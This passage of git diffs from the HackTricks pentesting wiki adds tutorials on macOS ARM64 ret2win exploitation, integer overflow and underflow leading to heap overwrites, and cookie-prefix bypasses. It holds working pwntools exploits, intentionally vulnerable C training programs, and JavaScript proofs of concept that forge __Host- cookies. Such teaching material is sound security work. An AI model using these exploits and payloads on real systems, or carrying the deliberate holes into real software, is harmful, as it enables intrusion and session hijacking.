+python3 - << 'PY' +from pwn import * +print(cyclic_find(0x61616173)) +PY +# Replace 0x61616173 with the 4 first bytes from the value of x30 +``` + +- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR). + +### Calculate the address of win() + +- The binary is PIE, using the leak of `leak_anchor()` function and knowing the offset of `win()` function from `leak_anchor()` function we can calculate the address of `win()` function. + +```bash +objdump -d bof_macos | grep -E 'leak_anchor|win' + +0000000100000460 <_leak_anchor>: +000000010000047c <_win>: +``` + +- The offset is `0x47c - 0x460 = 0x1c` + +### Exploit + +```python +#!/usr/bin/env python3 +from pwn import * +import re +import os + +# Load the binary +binary_name = './bof_macos' +# Start the process +p = process(binary_name) + +# Read the address printed by the program +output = p.recvline().decode() +print(f"Received: {output.strip()}") + +# Extract the leak_anchor() address using regex +match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output) +if not match: + print("Failed to extract leak_anchor() address") + p.close() + exit(1) +leak_anchor_address = int(match.group(1), 16) +print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}") + +# Calculate win() address +win_address = leak_anchor_address + 0x1c +print(f"Calculated win() address: {hex(win_address)}") + +# Offset calculation: +# Buffer starts at sp, return address at sp+0x40 (64 bytes) +# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes) +offset = 64 + 8 # 72 bytes total to reach the return address + +# Craft the payload - ARM64 addresses are 8 bytes +payload = b'A' * offset + p64(win_address) +print(f"Payload length: {len(payload)}") + +# Write the payload to /tmp/exploit.txt +with open("/tmp/exploit.txt", "wb") as f: + f.write(payload) + +print("[*] Payload written to /tmp/exploit.txt") + +# Drop to an interactive session +p.interactive() +``` + + +## Notes on modern AArch64 hardening (PAC/BTI) and ret2win - If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case: - Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`. @@ -210,7 +489,7 @@ p.close() - `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes. - `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`. -### Running on non‑ARM64 hosts (qemu‑user quick tip) +## Running on non‑ARM64 hosts (qemu‑user quick tip) If you are on x86_64 but want to practice AArch64: @@ -229,11 +508,12 @@ gdb-multiarch ./ret2win -ex 'target remote :1234' ### Related HackTricks pages -- + {{#ref}} ../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md {{#endref}} -- + + {{#ref}} ../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md {{#endref}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 1a6ac5fce..c06c6b741 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -4,12 +4,13 @@ Find an introduction to arm64 in: - {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Linux + +### Code ```c #include @@ -32,7 +33,7 @@ Compile without pie, canary and nx: clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` -## No ASLR & No canary - Stack Overflow +### No ASLR & No canary - Stack Overflow To stop ASLR execute: @@ -79,6 +80,17 @@ The only "complicated" thing to find here would be the address in the stack to c I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. + +## macOS + +> [!TIP] +> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS. + +Check a macOS ret2win example in: + +{{#ref}} +../ret2win/ret2win-arm64.md +{{#endref}} + + {{#include ../../../banners/hacktricks-training.md}} - - From 92396717d98837f00cb0517de0b3e7290218c40e Mon Sep 17 00:00:00 2001 From: Build master Date: Fri, 5 Sep 2025 18:53:55 +0000 Subject: [PATCH 29/40] Update searchindex (purged history; keep current) From a36faf6aa864d7c33148e97c4cf800b7fe7d8118 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Sun, 7 Sep 2025 16:49:20 +0200 Subject: [PATCH 30/40] f --- src/SUMMARY.md | 2 +- .../README.md | 4 +- .../integer-overflow-and-underflow.md | 389 ++++++++++++++++++ src/binary-exploitation/integer-overflow.md | 126 ------ .../pentesting-network/README.md | 6 +- .../integer-overflow.md | 2 +- 6 files changed, 396 insertions(+), 133 deletions(-) create mode 100644 src/binary-exploitation/integer-overflow-and-underflow.md delete mode 100644 src/binary-exploitation/integer-overflow.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9a62d47c5..dab618a10 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -785,7 +785,7 @@ - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) -- [Integer Overflow](binary-exploitation/integer-overflow.md) +- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 865d1db9e..b9c04ea80 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -27,11 +27,11 @@ With so many techniques it's good to have a scheme when each technique will be u There are different was you could end controlling the flow of a program: - [**Stack Overflows**](../stack-overflow/index.html) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow + - Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow - Or via **Arbitrary Writes + Write What Where to Execution** - [**Format strings**](../format-strings/index.html)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow + - Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. You can find the **Write What Where to Execution** techniques in: diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md new file mode 100644 index 000000000..1d6ababf7 --- /dev/null +++ b/src/binary-exploitation/integer-overflow-and-underflow.md @@ -0,0 +1,389 @@ +# Integer Overflow + +{{#include ../banners/hacktricks-training.md}} + +## Basic Information + +At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. + +For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. + +Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). + +Max values for common integer types: +| Type | Size (bits) | Min Value | Max Value | +|----------------|-------------|--------------------|--------------------| +| int8_t | 8 | -128 | 127 | +| uint8_t | 8 | 0 | 255 | +| int16_t | 16 | -32,768 | 32,767 | +| uint16_t | 16 | 0 | 65,535 | +| int32_t | 32 | -2,147,483,648 | 2,147,483,647 | +| uint32_t | 32 | 0 | 4,294,967,295 | +| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | +| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | + +A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems. + +### Max values + +For potential **web vulnerabilities** it's very interesting to know the maximum supported values: + +{{#tabs}} +{{#tab name="Rust"}} + +```rust +fn main() { + + let mut quantity = 2147483647; + + let (mul_result, _) = i32::overflowing_mul(32767, quantity); + let (add_result, _) = i32::overflowing_add(1, quantity); + + println!("{}", mul_result); + println!("{}", add_result); +} +``` + +{{#endtab}} + +{{#tab name="C"}} + +```c +#include +#include + +int main() { + int a = INT_MAX; + int b = 0; + int c = 0; + + b = a * 100; + c = a + 1; + + printf("%d\n", INT_MAX); + printf("%d\n", b); + printf("%d\n", c); + return 0; +} +``` + +{{#endtab}} +{{#endtabs}} + +## Examples + +### Pure overflow + +The printed result will be 0 as we overflowed the char: + +```c +#include + +int main() { + unsigned char max = 255; // 8-bit unsigned integer + unsigned char result = max + 1; + printf("Result: %d\n", result); // Expected to overflow + return 0; +} +``` + +### Signed to Unsigned Conversion + +Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: + +```c +#include + +int main() { + int userInput; // Signed integer + printf("Enter a number: "); + scanf("%d", &userInput); + + // Treating the signed input as unsigned without validation + unsigned int processedInput = (unsigned int)userInput; + + // A condition that might not work as intended if userInput is negative + if (processedInput > 1000) { + printf("Processed Input is large: %u\n", processedInput); + } else { + printf("Processed Input is within range: %u\n", processedInput); + } + + return 0; +} +``` + +In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. + +### macOS Overflow Example + +```c +#include +#include +#include +#include +#include + +/* + * Realistic integer-overflow → undersized allocation → heap overflow → flag + * Works on macOS arm64 (no ret2win required; avoids PAC/CFI). + */ + +__attribute__((noinline)) +void win(void) { + puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); + puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); + exit(0); +} + +struct session { + int is_admin; // Target to flip from 0 → 1 + char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { + // Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) + const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) + size_t got = 0; + + printf("Requested bytes: %zu\n", want); + + while (got < want) { + size_t remain = want - got; + size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + + ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); + if (n > 0) { + got += (size_t)n; + continue; + } + if (n == 0) { + // EOF – stop; partial reads are fine for our exploit + break; + } + // n < 0: real error (likely EINVAL when chunk too big on some FDs) + perror("read"); + break; + } + return got; +} + + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + puts("=== Bundle Importer (training) ==="); + + // 1) Read attacker-controlled parameters (use large values) + size_t count = 0, elem_size = 0; + printf("Entry count: "); + if (scanf("%zu", &count) != 1) return 1; + printf("Entry size: "); + if (scanf("%zu", &elem_size) != 1) return 1; + + // 2) Compute total bytes with a 32-bit truncation bug (vulnerability) + // NOTE: 'product32' is 32-bit → wraps; then we add a tiny header. + uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. + /* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits + Then, product32 = 0 + */ + uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 + printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); + + // 3) Allocate a single arena and lay out [buffer][slack][session] + // This makes adjacency deterministic (no reliance on system malloc order). + const size_t SLACK = 512; + size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) + unsigned char *arena = (unsigned char*)malloc(arena_sz); + if (!arena) { perror("malloc"); return 1; } + memset(arena, 0, arena_sz); + + unsigned char *buf = arena; // In this buffer the attacker will copy data + struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 + sess->is_admin = 0; + strncpy(sess->note, "regular user", sizeof(sess->note)-1); + + printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", + (void*)arena, (void*)buf, alloc32, (void*)sess, + ((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). + + // 4) Copy uses native size_t product (no truncation) → It generates an overflow + size_t to_copy = count * elem_size; // <-- Large size_t + printf("[dbg] requested copy (size_t) = %zu\n", to_copy); + + puts(">> Send bundle payload on stdin (EOF to finish)..."); + size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 + printf("[dbg] actually read = %zu bytes\n", got); + + // 5) Privileged action gated by a field next to the overflow target + if (sess->is_admin) { + puts("[dbg] admin privileges detected"); + win(); + } else { + puts("[dbg] normal user"); + } + return 0; +} +``` + +Compile it with: + +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ + -o int_ovf_heap_priv int_ovf_heap_priv.c +``` + +#### Exploit + +```python +# exploit.py +from pwn import * + +# Keep logs readable; switch to "debug" if you want full I/O traces +context.log_level = "info" + +EXE = "./int_ovf_heap_priv" + +def main(): + # IMPORTANT: use plain pipes, not PTY + io = process([EXE]) # stdin=PIPE, stdout=PIPE by default + + # 1) Drive the prompts + io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 + io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 + + # 2) Wait until it’s actually reading the payload + io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") + + # 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) + payload = b"A" * 48 + p32(1) + + # 4) Send payload, THEN send EOF via half-close on the pipe + io.send(payload) + io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary + + # 5) Read the rest (should print admin + FLAG) + print(io.recvall(timeout=5).decode(errors="ignore")) + +if __name__ == "__main__": + main() +``` + +### macOS Underflow Example + +```c +#include +#include +#include +#include +#include + +/* + * Integer underflow -> undersized allocation + oversized copy -> heap overwrite + * Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. + */ + +__attribute__((noinline)) +void win(void) { + puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); + puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); + exit(0); +} + +struct session { + int is_admin; // flip 0 -> 1 + char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { + // Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. + const size_t MAX_CHUNK = 1 << 20; // 1 MiB + size_t got = 0; + printf("[dbg] Requested bytes: %zu\n", want); + while (got < want) { + size_t remain = want - got; + size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); + if (n > 0) { got += (size_t)n; continue; } + if (n == 0) break; // EOF: partial read is fine + perror("read"); break; + } + return got; +} + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + puts("=== Packet Importer (UNDERFLOW training) ==="); + + size_t total_len = 0; + printf("Total packet length: "); + if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" + + const size_t HEADER = 16; + + // **BUG**: size_t underflow if total_len < HEADER + size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned + // If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) + printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", + total_len, HEADER, payload_len); + + // Build a deterministic arena: [buf of total_len][16 gap][session][slack] + const size_t SLACK = 256; + size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) + unsigned char *arena = (unsigned char*)malloc(arena_sz); + if (!arena) { perror("malloc"); return 1; } + memset(arena, 0, arena_sz); + + unsigned char *buf = arena; + struct session *sess = (struct session*)(arena + total_len + 16); + // The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) + sess->is_admin = 0; + strncpy(sess->note, "regular user", sizeof(sess->note)-1); + + printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", + (void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); + + puts(">> Send payload bytes (EOF to finish)..."); + size_t got = read_stdin(buf, payload_len); + // The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 + printf("[dbg] actually read = %zu bytes\n", got); + + if (sess->is_admin) { + puts("[dbg] admin privileges detected"); + win(); + } else { + puts("[dbg] normal user"); + } + return 0; +} +``` + +Compile it with: + +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ + -o int_underflow_heap int_underflow_heap.c +``` + +### Other Examples + +- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) + - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) + + - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: + + ``` + (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) + ``` + +- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) + - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections + +## ARM64 + +This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). + +{{#include ../banners/hacktricks-training.md}} + + + diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md deleted file mode 100644 index 2a67c7584..000000000 --- a/src/binary-exploitation/integer-overflow.md +++ /dev/null @@ -1,126 +0,0 @@ -# Integer Overflow - -{{#include ../banners/hacktricks-training.md}} - -## Basic Information - -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. - -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. - -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). - -### Max values - -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: - -{{#tabs}} -{{#tab name="Rust"}} - -```rust -fn main() { - - let mut quantity = 2147483647; - - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); - - println!("{}", mul_result); - println!("{}", add_result); -} -``` - -{{#endtab}} - -{{#tab name="C"}} - -```c -#include -#include - -int main() { - int a = INT_MAX; - int b = 0; - int c = 0; - - b = a * 100; - c = a + 1; - - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; -} -``` - -{{#endtab}} -{{#endtabs}} - -## Examples - -### Pure overflow - -The printed result will be 0 as we overflowed the char: - -```c -#include - -int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; -} -``` - -### Signed to Unsigned Conversion - -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - -```c -#include - -int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); - - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; - - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } - - return 0; -} -``` - -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples - -- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection -- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: - - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` - -- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections - -## ARM64 - -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). - -{{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 735e637e2..d1063470c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -427,9 +427,9 @@ VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcem Note: This discussion pertains to VTP version 1 (VTPv1). -````bash -%% yersinia -G # Launch Yersinia in graphical mode ``` -```` +```bash +yersinia -G # Launch Yersinia in graphical mode +``` In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md index 762ddd102..7fff62aa4 100644 --- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md +++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md @@ -6,7 +6,7 @@ > > {{#ref}} -> ../../binary-exploitation/integer-overflow.md +> ../../binary-exploitation/integer-overflow-and-underflow.md > {{#endref}} --- From af4f0846709615111845a7af44431ff24e6c4053 Mon Sep 17 00:00:00 2001 From: Build master Date: Sun, 7 Sep 2025 14:55:05 +0000 Subject: [PATCH 31/40] Update searchindex (purged history; keep current) From f4dc610fe27d1b2955b9df91379bee0ffb35aae5 Mon Sep 17 00:00:00 2001 From: Build master Date: Sun, 7 Sep 2025 15:10:27 +0000 Subject: [PATCH 32/40] Update searchindex (purged history; keep current) From 78a8c3f2ef934d742362607e3bfa5a02d91eab51 Mon Sep 17 00:00:00 2001 From: Build master Date: Sun, 7 Sep 2025 20:07:18 +0000 Subject: [PATCH 33/40] Update searchindex (purged history; keep current) From 2269b2e342a7f168333d90a77135ab8465c1a57f Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sun, 7 Sep 2025 23:24:39 +0200 Subject: [PATCH 34/40] Delete searchindex.js From 7b5aced665ccece2aa924aa28c5165c67c986f42 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Sun, 7 Sep 2025 23:56:50 +0200 Subject: [PATCH 35/40] f --- .../phishing-documents.md | 9 +++ .../hacking-with-cookies/README.md | 61 +++++++++++++++++++ 2 files changed, 70 insertions(+) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 033e39c1f..18c1b5591 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -215,6 +215,15 @@ Hunting/IOCs - AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. - Long-running business threads ending with links hosted under trusted PaaS domains. +## Windows files to steal NTLM hashes + +Check the page about **places to steal NTLM creds**: + +{{#ref}} +../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md +{{#endref}} + + ## References - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index 93b544f9b..c0f2d6c9c 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -107,6 +107,65 @@ Or in PHP it was possible to add **other characters at the beginning** of the co
+ +#### Unicode whitespace cookie-name smuggling (prefix forgery) + +Abuse discrepancies between browser and server parsing by prepending a Unicode whitespace code point to the cookie name. The browser won’t consider the name to literally start with `__Host-`/`__Secure-`, so it allows setting from a subdomain. If the backend trims/normalizes leading Unicode whitespace on cookie keys, it will see the protected name and may overwrite the high-privilege cookie. + +- PoC from a subdomain that can set parent-domain cookies: + +```js +document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`; +``` + +- Typical backend behavior that enables the issue: + - Frameworks that trim/normalize cookie keys. In Django, Python’s `str.strip()` removes a wide range of Unicode whitespace code points, causing the name to normalize to `__Host-name`. + - Commonly trimmed code points include: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288). + - Many frameworks resolve duplicate cookie names as “last wins”, so the attacker-controlled normalized cookie value overwrites the legitimate one. + +- Browser differences matter: + - Safari blocks multibyte Unicode whitespace in cookie names (e.g., rejects U+2000) but still permits single-byte U+0085 and U+00A0, which many backends trim. Cross-test across browsers. + +- Impact: Enables overwriting of `__Host-`/`__Secure-` cookies from less-trusted contexts (subdomains), which can lead to XSS (if reflected), CSRF token override, and session fixation. + +- On-the-wire vs server view example (U+2000 present in name): + +``` +Cookie: __Host-name=Real;  __Host-name=; +``` + +Many backends split/parse and then trim, resulting in the normalized `__Host-name` taking the attacker’s value. + +#### Legacy `$Version=1` cookie splitting on Java backends (prefix bypass) + +Some Java stacks (e.g., Tomcat/Jetty-style) still enable legacy RFC 2109/2965 parsing when the `Cookie` header starts with `$Version=1`. This can cause the server to reinterpret a single cookie string as multiple logical cookies and accept a forged `__Host-` entry that was originally set from a subdomain or even over insecure origin. + +- PoC forcing legacy parsing: + +```js +document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`; +``` + +- Why it works: + - Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of `__Host-`/`__Secure-` prefix guarantees. + +- Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics. + +#### Duplicate-name last-wins overwrite primitive + +When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two `__Host-*` names, the attacker-controlled one will typically win. + +#### Detection and tooling + +Use Burp Suite to probe for these conditions: + +- Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed. +- Send `$Version=1` first in the Cookie header and check if the backend performs legacy splitting/normalization. +- Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name. +- Burp Custom Action to automate this: [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda) + +> Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass. + ## Cookies Attacks If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable. @@ -339,6 +398,8 @@ There should be a pattern (with the size of a used block). So, knowing how are a - [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181) - [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) +- [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda) {{#include ../../banners/hacktricks-training.md}} From 6f24692e8c5f26faf0cf81deebe860c2d946224c Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 9 Sep 2025 13:02:09 +0000 Subject: [PATCH 36/40] Add content from: The Rise of RatOn: From NFC heists to remote control and ATS - Remove searchindex.js (auto-generated file) --- .../mobile-phishing-malicious-apps.md | 166 ++++++++++++++++++ .../accessibility-services-abuse.md | 93 ++++++++++ 2 files changed, 259 insertions(+) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md 